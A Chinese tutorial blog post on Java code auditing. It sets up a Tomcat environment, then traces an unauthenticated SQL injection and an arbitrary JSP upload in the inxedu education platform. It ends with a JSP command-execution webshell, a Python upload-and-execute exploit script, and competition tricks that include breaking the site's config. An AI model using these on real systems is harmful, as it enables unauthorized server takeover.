0x1 前言
java代码审计系列是我很早之前就一直在筹备的,但是由于接触JAVA比较少,所以一直在积累各种相关经验,自己也用java写了一些web项目, 熟悉了一些框架的流程,才正式开始记录自己学习java代码审计的过程。
0x2 java环境相关的知识
1.JDK(Java Development Kit) 是针对java开发员的产品(SDK),是整个java的核心。
组成:
- 开发工具位于bin子目录中, 指工具和实用程序,可帮助开发、执行、调试以java编程语言编写的程序,例如,编译器javac.exe 和解释器java.exe都位于该目录中
- java运行环境位于jre子目录中,window安装的时候会提示安装jre其实没必要,因为jdk包括了。 java运行环境包括java虚拟机、类库以及其他支持执行以java编程语言编写的程序的文件。
- 附加库位于lib子目录中, 开发工具所需的其他类库和支持文件
- C头文件
- 源代码
2.JRE(Java Runtime Environment) 是运行java程序所必须的环境集合,包含JVM标准、及java核心类库。
如果我们只是要运行java程序的话其实没必要安装jdk,只需要安装JRE就可以了。
3.JVM(Java Virtual Machine) java虚拟机是整个实现跨平台的最核心部分,能够运行以java语言编写的软件程序。
他们三者的关系,可以参考这个图
4.java平台
- Java SE(java Platform, Standard Edition) 这是标准版,基础版本。允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类。 通常拿来开发java的桌面软件
- Java EE (Java Platform,Enterprise Edition): Java EE 是在Java SE的基础上构建的,他提供Web服务、组件模型、管理、通信API,用来实现企业级的面向服务体系结构和web2.0应用程序。
- Java ME(Java Platform, Micro Edition): 为在移动设备和嵌入式设备(比如手机、PDA、 电视机顶盒和打印机) 上运行的运用程序提供一个健壮且灵活的环境
5.java服务器
(1) 常见的Java服务器: Tomcat 、 Weblogic、Jetty、JBoss、GlassFish等。
(2)Tomcat简介:
免费的开放源代码的web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问等很多的场合下被普遍使用,是开发和调试JSP程序的首选。
6.项目管理和构建工具Maven
Maven是一种自动构建项目的方式,可以帮助我们自动从本地和远程仓库拉取关联的jar包
0x3 MAC下安装java环境
0x3.1 安装MYSQL及其驱动包
这个mac自带安装了MYSQL,所以我们只要安装对应的mysql的java驱动程序,放在tomcat的lib目录下就可以。
或者放在WEB-INF
下的lib目录下也可以,具体看我后面的操作
因为我的mysql是5.7.21 Homebrew
所以我们需要用到5.x的jdbc
登陆注册之后
0x3.2 安装Tomcat
首先去官网下载最新版Tomcat9,offical download
改名放在~/Library/Apachetomcat9
xq17@localhost ~/Library/ApacheTomcat9 tree -L 1
.
├── BUILDING.txt
├── CONTRIBUTING.md
├── LICENSE
├── NOTICE
├── README.md
├── RELEASE-NOTES
├── RUNNING.txt //上面是使用文档和版权声明
├── bin //存放tomcat命令
├── conf // 存放tomcat配置信息,里面的server.xml是核心的配置文件
├── lib //支持tomcat软件运行的jar包和技术支持包(如servlet 和 jsp)
├── logs //运行时的日志信息
├── temp //临时目录
├── webapps //共享资源文件和web应用目录
└── work //tomcat的运行目录,jsp运行时产生的临时文件就存放在这里
我们修改下默认的启动端口,8080 改成9090,避免与我本地burp冲突
/conf/server.xml
处于安全性考虑,我们也需要配置下密码 tomcat
tomcat
conf/tomcat-user.xml
中</tomcat-users>
上面加入如下代码
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
---
去/conf/bin
目录进行安装
chmod u+x *.sh
./startup.sh
0x3.3 安装IDE
为了方便调试,我安装了两个IDE,一个是eclipse(集成环境方便开发) 一个是idea(方便动态调试)
首先要配置最基础的java开发和运行环境就需要 安装jdk的8.0(一般习惯叫jdk 1.8) 通常也可以说是java8,
hombrew 安装教程 可以参考这篇文章,比较简单,我就不赘述了。
0x3.3.1 安装eclipse
这个可以直接去官网下载:
然后选择development for jee那个package来安装就行了。
0x3.3.2 安装IDEA
参考这篇安装文章: Mac 安装idea以及激活方法
下面就需要配置下IDE的运行程序了。
eclipse 的话直接修改Tomcat Server 为我们安装的Tomcat就可以了。
Idea因为不是集成环境,所以我们需要用到第三方插件
按需要安装
0x4 小试牛刀之尝试部署项目
这里参考了国科社区师傅用的 javapms-1.4-beta.zip
(1) 直接安装
(2) IDEA 部署
我们选择import Project
然后一路默认下去就行了,打开项目之后,我们配置下运行程序Tomcat
尝试下idea强大的反编译class及其调试功能
先运行安装下
随便选一个action打一个断点就行了。
下面是几个调试中会用到的几个快捷键:
●F7 ,进入下一步,如果当前断点是一个方法,进入方法体。
●F8 ,进入下一步,但不会进入方法体内。
●Alt+Shift+F7 , 进入下一步,如果当前断点是一个方法,方法还有方法则循环进入。
●Shift+F8 ,跳出到下一个断点,也可以按F9来实现。
●Drop Frame ,当进入一个方法体想回退到方法体外可以使用该键。
我很少用快捷键,一般用鼠标就行了,或者mac上的bar就行了。不过F9我用的比较多。
0x5 崭露头角之因酷教育在线漏洞挖掘
这个系统我印象是比较深刻, 因为之前在那个湖湘杯的登顶赛中一方面没下载下来源码, 另外一方面自己对java的项目不熟悉所以当时做了标记,所以这次就以这个为例,顺便聊一下登顶赛维持权限的技巧。
0x5.1 安装过程
inxedu 因酷教育软件v2.0.6
源码:http://down.admin5.com/jsp/132874.html
有个安装目录详细记录了使用教程和idea的教程。
这里简单记录下:
1.执行mysql> source ./demo_inxedu_v2_0_open.sql
2.idea导入项目直接import projects
,默认下去即可,等待自动解决maven依赖,可能有点慢。
3.数据库配置
修改下数据库配置
4.配置Tomcat
Run-->Edit Configurations
->Maven
点击Run
,等待安装完成即可。
前台http://127.0.0.1:82/
测试账号:demo@inxedu.com 111111
后台 http://127.0.0.1:82/admin
测试账号:admin 111111
0x5.2 前置知识
这些内容我简要提取一些关键点出来。
1.目录结构分析
├── java //核心代码区
│ └── com
├── resources //资源目录,存放一些配置文件
│ └── mybatis //SQL 文件描述XML
└── webapp //就是类似/var/www/html存放一些静态文件内容
├── WEB-INF
├── images
├── kindeditor
└── static
这里重点讲下WEB-INF
目录
WEB-INF是用来存储服务端配置文件信息和在服务端运行的类文件的,它下面的东西不允许客户端直接访问的。
一般会有web.xml
文件(WEB项目配置文件)
通过文件读取该文件我们可以获取到这个项目的架构和配置信息(编码、过滤器、监听器…)
2.了解SpringMVC架构工作流程
1.用户发起请求->SPring MVC 前端控制器(DispathcerServlet)->处理器映射器(HandlerMapping)进行处理->根据URL选择对应的Controller
2.控制器(Controller)执行相应处理逻辑,执行完毕,Return 返回值。
3.ViewResolver
解析控制器返回值->前端控制器(DispathcerSevlet)去解析->View对象
4.前端控制器(DispathcerSevlet)对View进行渲染,返回至客户端浏览器,完成请求交互
3.Mybaits
Mybatis 数据持久化框架,可以实现将应用程序的对象持久化到关系型数据库中,但是需要我们手动编写SQL语句
使用方式: 基于XML配置,将SQL语句与JAVA代码分离
容易出现的安全问题主要是在于:
在XML配置中,描述参数使用不当会导致SQL注入
1.#{} 预编译处理参数
2.${} 直接拼接sql语句
后面分析SQL注入的时候我会详细分析下这个框架的实现过程。
0x5.3 开始代码审计之旅
时间充裕,我们采取通读的审计方式, 对于框架而言,我一般是先阅读权限控制模块,然后直接通读Controller模块,然后跟踪看看, 后面你会发现很多类似的代码,从而提高通读的速度的。
0x5.3.1 权限控制流程
通过阅读web.xml
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
可以看到这里Spring MVC前置拦截器采用的是/
规则,也就是拦截所以不带后缀的请求,而/*
是拦截所有请求。
我们继续跟进看下有没有自定义的控制拦截,我们读下Spring mvc
配置文件
/src/main/resources/spring-mvc.xml
<mvc:interceptors>
<!-- 后台登录和权限的拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/admin/*"/>
<mvc:mapping path="/admin/**/*"/>
<mvc:exclude-mapping path="/admin/main/login"/>
<bean class="com.inxedu.os.common.intercepter.IntercepterAdmin"></bean>
</mvc:interceptor>
<!-- 前台网站配置拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/**/*"/>
<mvc:exclude-mapping path="/static/**/*"/>
<mvc:exclude-mapping path="/*/ajax/**"/>
<mvc:exclude-mapping path="/kindeditor/**/*"/>
<bean class="com.inxedu.os.common.intercepter.LimitIntercepterForWebsite">
</bean>
</mvc:interceptor>
<!-- 前台用户登录拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/uc/*"/>
<mvc:mapping path="/uc/**/*"/>
<mvc:exclude-mapping path="/uc/tologin"/>
<mvc:exclude-mapping path="/uc/getloginUser"/>
<mvc:exclude-mapping path="/uc/register"/>
<mvc:exclude-mapping path="/uc/createuser"/>
<mvc:exclude-mapping path="/uc/login"/>
<mvc:exclude-mapping path="/uc/passwordRecovery"/>
<mvc:exclude-mapping path="/uc/sendEmail"/>
<bean class="com.inxedu.os.common.intercepter.IntercepterWebLogin">
</bean>
</mvc:interceptor>
好家伙,我们跟进相关的类,看下拦截的流程。
com.inxedu.os.common.intercepter.IntercepterAdmin
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response, Object handler) throws Exception {
//获取登录的用户
SysUser sysUser = SingletonLoginUtils.getLoginSysUser(request);
if(sysUser==null){
response.sendRedirect("/admin");//跳转登录页面
return false;
}
//访问的路径
String invokeUrl = request.getContextPath() + request.getServletPath();
//获取所有的权限
List<SysFunction> allFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId());
if(ObjectUtils.isNull(allFunctionList)){
allFunctionList = sysFunctionService.queryAllSysFunction();
EHCacheUtil.set(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId(),allFunctionList);
}
//判断当前访问的权限,是否在限制中
boolean hasFunction = false;
for(SysFunction sf : allFunctionList){
if(sf.getFunctionUrl()!=null && sf.getFunctionUrl().trim().length()>0 && invokeUrl.indexOf(sf.getFunctionUrl())!=-1){
hasFunction = true;
}
}
//如果当前访问的权限不在限制中,直接允许通过
if(!hasFunction){
return true;
}
//如果当前访问的权限在限制中则判断是否有访问权限
List<SysFunction> userFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId());
if(userFunctionList==null || userFunctionList.size()==0){
userFunctionList = sysFunctionService.querySysUserFunction(sysUser.getUserId());
EHCacheUtil.set(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId(), userFunctionList);
}
boolean flag = false;
if(ObjectUtils.isNotNull(userFunctionList)){
for(SysFunction usf : userFunctionList){
//如果用户有访问权限
if(invokeUrl.indexOf(usf.getFunctionUrl())!=-1 && usf.getFunctionUrl()!=null && usf.getFunctionUrl().trim().length()>0){
flag=true;
break;
}
}
}
继续跟进下:SingletonLoginUtils.getLoginSysUser
public static SysUser getLoginSysUser(HttpServletRequest request) {
String userKey = WebUtils.getCookie(request, CacheConstans.LOGIN_MEMCACHE_PREFIX);
if (StringUtils.isNotEmpty(userKey)) {
SysUser sysUser = (SysUser) EHCacheUtil.get(userKey);
if (ObjectUtils.isNotNull(sysUser)) {
return sysUser;
}
}
return null;
}
这里获取了Cookie的值解析出了userKey
,至于这个可不可以伪造,我们跟下来源
/src/main/java/com/inxedu/os/edu/controller/main/LoginController.java
@RequestMapping("/main/login")
public ModelAndView login(HttpServletRequest request,HttpServletResponse response,@ModelAttribute("sysUser") SysUser sysUser){
...............
request.getSession().removeAttribute(CommonConstants.RAND_CODE);
sysUser.setLoginPwd(MD5.getMD5(sysUser.getLoginPwd()));
SysUser su = sysUserService.queryLoginUser(sysUser);
if(su==null){
model.addObject("message", "用户名或密码错误!");
return model;
}
//判断用户是否是可用状态
if(su.getStatus()!=0){
model.addObject("message", "该用户已经冻结!");
return model;
}
//缓存用登录信息
EHCacheUtil.set(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), su);
//request.getSession().setAttribute(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(),su );
WebUtils.setCookie(response, CacheConstans.LOGIN_MEMCACHE_PREFIX, CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), 1);
//修改用户登录记录
sysUserService.updateUserLoginLog(su.getUserId(), new Date(), WebUtils.getIpAddr(request));
//添加登录记录
SysUserLoginLog loginLog = new SysUserLoginLog();
loginLog.setUserId(su.getUserId());//用户ID
loginLog.setLoginTime(new Date());//
loginLog.setIp(WebUtils.getIpAddr(request));//登录IP
String userAgent = WebUtils.getUserAgent(request);
if(StringUtils.isNotEmpty(userAgent)){
loginLog.setUserAgent(userAgent.split(";")[0]);//浏览器
loginLog.setOsName(userAgent.split(";")[1]);//操作系统
}
//保存登录日志
sysUserLoginLogService.createLoginLog(loginLog);
model.setViewName(loginSuccess);
}catch (Exception e) {
model.addObject("message", "系统繁忙,请稍后再操作!");
logger.error("login()--error",e);
}
return model;
}
}
这里可以看到登陆信息是经过数据库对比判断后缓存在服务端,并且在服务端验证的,除非加密算法可逆,要不然就没办法越权,这个后面可以细跟,鉴于文章篇幅,这里不做探讨。
0x5.3.2 前台功能审计
上面我们排除了简单的越权可能性, 所以我们可以集中精力围绕在前台功能点。
前台SQL注入挖掘思路
这套系统采用的是Mybatis框架
src/main/java/com/inxedu/os/app/controller/user/AppUserController.java
@Controller
@RequestMapping("/webapp")
public class AppUserController extends BaseController{
..........
@RequestMapping("/deleteFaveorite")
@ResponseBody
public Map<String, Object> deleteFavorite(HttpServletRequest request){
Map<String, Object> json=new HashMap<String, Object>();
try{
String id=request.getParameter("id");
if(id==null||id.trim().equals("")){
json=setJson(false, "id不能为空", null);
return json;
}
courseFavoritesService.deleteCourseFavoritesById(id);
json=setJson(true, "取消收藏成功", null);
}catch (Exception e) {
json=setJson(false, "异常", null);
logger.error("deleteFavorite()---error",e);
}
return json;
}
....................
}
这个主类入口是webapp
,所以我们访问/webapp/deleteFaveorite
,就能访问到该控制器,/webapp
并没有拦截器处理,所以我们可以直接不带cookie访问。
可以看到直接获取了id值,然后进入了courseFavoritesService.deleteCourseFavoritesById(id)
我们继续跟进:deleteCourseFavoritesById
src/main/java/com/inxedu/os/edu/dao/impl/course/CourseFavoritesDaoImpl.java
package com.inxedu.os.edu.dao.impl.course;
import java.util.List;
import java.util.Map;
import org.springframework.stereotype.Repository;
import com.inxedu.os.common.dao.GenericDaoImpl;
import com.inxedu.os.common.entity.PageEntity;
import com.inxedu.os.edu.dao.course.CourseFavoritesDao;
import com.inxedu.os.edu.entity.course.CourseFavorites;
import com.inxedu.os.edu.entity.course.FavouriteCourseDTO;
/**
*
* CourseFavorites
* @author www.inxedu.com
*/
@Repository("courseFavoritesDao")
public class CourseFavoritesDaoImpl extends GenericDaoImpl implements CourseFavoritesDao {
public void deleteCourseFavoritesById(String ids) {
this.delete("CourseFavoritesMapper.deleteCourseFavoritesById", ids);
// 这里就会寻找CourseFavoritesMapper.deleteCourseFavoritesById
// 对应的XML文件
// course/CourseFavoritesMapper.xml 中对应的
// deleteCourseFavoritesById 自定义语句
}
public int checkFavorites(Map<String, Object> map) {
return this.selectOne("CourseFavoritesMapper.checkFavorites", map);
}
public List<FavouriteCourseDTO> queryFavoritesPage(int userId, PageEntity page) {
return this.queryForListPage("CourseFavoritesMapper.queryFavoritesPage", userId, page);
}
}
src/main/resources/mybatis/inxedu/course/CourseFavoritesMapper.xml
<!-- 删除收藏 -->
<delete id="deleteCourseFavoritesById" parameterType="String">
DELETE FROM EDU_COURSE_FAVORITES WHERE ID IN (${value})
</delete>
我们可以看到这里拼接值是String
类型,${value}
采取的是直接拼接SQL语句的方法,至于为什么不采取#{}拼接方式, 因为这里想拼接的是数字类型,而#{}
拼接方式默认都会两边带上''
,其实解决方案就是自己可以再加一层数字判断即可。
我们可以直接采取SQLMAP来验证,然后check一下控制台执行的SQL就可以二次确认了。
sqlmap -u "http://127.0.0.1:82//webapp/deleteFaveorite?id=1*"
关于这个点触发点比较多,有兴趣读者可以自行跟一下。
读者如果对此还是不甚了解,Mybatis从认识到了解 ,可以先阅读下此文。
任意文件上传挖掘思路
/src/main/java/com/inxedu/os/common/controller/VideoUploadController.java
@Controller
@RequestMapping("/video")
public class VideoUploadController extends BaseController{
................
/**
* 视频上传
*/
@RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
@RequestParam(value="param",required=false) String param,
@RequestParam(value="fileType",required=true) String fileType){
try{
String[] type = fileType.split(",");
//设置图片类型
setFileTypeList(type);
//获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if(!fileType.contains(ext)){
return responseErrorData(response,1,"文件格式错误,上传失败。");
}
//获取文件路径
String filePath = getPath(request,ext,param);
File file = new File(getProjectRootDirPath(request)+filePath);
//如果目录不存在,则创建
if(!file.getParentFile().exists()){
file.getParentFile().mkdirs();
}
//保存文件
uploadfile.transferTo(file);
//返回数据
return responseData(filePath,0,"上传成功",response);
}catch (Exception e) {
logger.error("gok4()--error",e);
return responseErrorData(response,2,"系统繁忙,上传失败");
}
}
..........................
}
我们跟进下getPath
函数
private String getPath(HttpServletRequest request,String ext,String param){
String filePath = "/images/upload/";
if(param!=null && param.trim().length()>0){
filePath+=param; //这里直接拼接param,所以我们这里可以任意跳转目录
}else{
filePath+=CommonConstants.projectName;
}
filePath+="/"+ DateUtils.toString(new Date(), "yyyyMMdd")+"/"+System.currentTimeMillis()+"."+ext;
return filePath;
}
接着访问下:
http://127.0.0.1:82/images/upload/20200127/1580125876609.jsp?i=ls
我们已经拿到没有回显的shell了。
0x6 登顶赛维持权限小技巧
上次打湖湘杯下午场第一次接触登顶赛这种类型, 当时脑子都是在想什么高端操作,什么修改权限,秒修漏洞啥的,赛后出来我才明白,最简单最傻b的方法往往最有效。
- 通过漏洞拿到webshell
- 直接修改网站配置文件,修改数据库配置让网站挂掉,让功能没办法访问,自己记得修改了什么地方。
- 写脚本不断发包去生成webshell,然后去请求,执行修改文件内容为你的队名的操作。
(这里要跑两个线程一个是请求生成shell,一个是稳定shell)
- 接近判断时间的时候,让网站正常回来即可。
下面是我自己写的简陋版本,后面我会将其框架化,并加入session管理。
这里要注意shell这样来拼接,要不然echo命令用不了:
<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>
#!/usr/bin/python
# -*- coding:utf-8 -*-
import requests
import urllib.parse
import re
import threading
debug = True
def g1(host):
url = 'http://' + host + '/' +'video/uploadvideo?¶m=temp&fileType=jsp'
# 这里需要修改下shell名字,上传name等配置
files = {'uploadfile': ('shell.jsp', open('shell.jsp', 'rb'))}
if debug:
print("url:n" + url)
print(files)
rText = requests.post(url, files=files, timeout=5).text
# 这里是shell路径匹配正则
shellRegex = re.compile('"url":"(.*?)"')
if(shellRegex.search(rText)):
shellPath = shellRegex.search(rText)[1]
if debug:
print("shellPath:n" + shellPath)
# 开始拼接shell
shellURL = 'http://' + host + shellPath
if debug:
print("shellURL:n" + shellURL )
print("[+]Success,get Shell: {}".format(shellURL))
return shellURL
else:
print("[-] Error, no shell!!!")
return False
def getShell(host):
print("[+]Staring getShell.....".center(100,'*'))
shellList = []
# request 发包
s1 = g1(host)
# socket 自定义协议包发送
# s2 = g2(url)
if(s1):
shellList.append(s1)
return shellList
def requestShell(shellURL, cmd, password):
print("[+]Staring requestShell.....".center(100,'='))
# 检查shell存活性
if debug:
print(shellURL)
for u in shellURL:
code = requests.get(u).status_code
if(code != 404):
# 开始创建请求线程
print("[+] now, subThread requesting......")
t = threading.Thread(target=work, args=(u, cmd, password,))
t.start()
t.join()
return True
else:
print("[-]Error,404,shell:{}".format(u))
return False
def work(u, cmd, password):
print("work Function................")
param = urllib.parse.quote('?' + password + '=' + cmd,safe='/?&=', encoding=None, errors=None)
url = u + param
if debug:
print(url)
r = requests.get(url, timeout=5)
if(r.status_code == 200):
print("[+]Success, Execute CMD!!!")
return True
else:
print("[-]Error, Execute CMD Failed!!")
def attack(url):
shellURL = getShell(url)
# 执行的命令
cmd = '''echo "123">/tmp/shell.txt ''';
# 连接shell的参数
password = 'cmd'
if(shellURL):
for i in range(2):
print("n Staring Fuzz:{} n".format(str(i)).center(100,'+'))
result = requestShell(shellURL, cmd, password)
if(result):
print("[+] Success,cmd:{}".format(cmd))
else:
print("[-] Error!")
else:
print("[-] Error, getshell failed!")
def main():
Target = ['127.0.0.1:82']
# 这里可以进行多线程优化,针对批量目标的时候
for host in Target:
attack(host)
if __name__ == '__main__':
main()
shell.jsp
<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>
0x7 总结
这套系统还有很多值得深入挖掘的点,值得我再去细细分析, 后面的系列我依然会围绕这个系统来展开,探究更多java漏洞的可能性,本文更多的是一种萌新开门篇,重点在配置环境,然后粗浅介绍下系统的漏洞,让读者有直观的现象, 后面我将会从各种底层框架的使用来分析安全成因,并尝试去挖掘一些新的漏洞。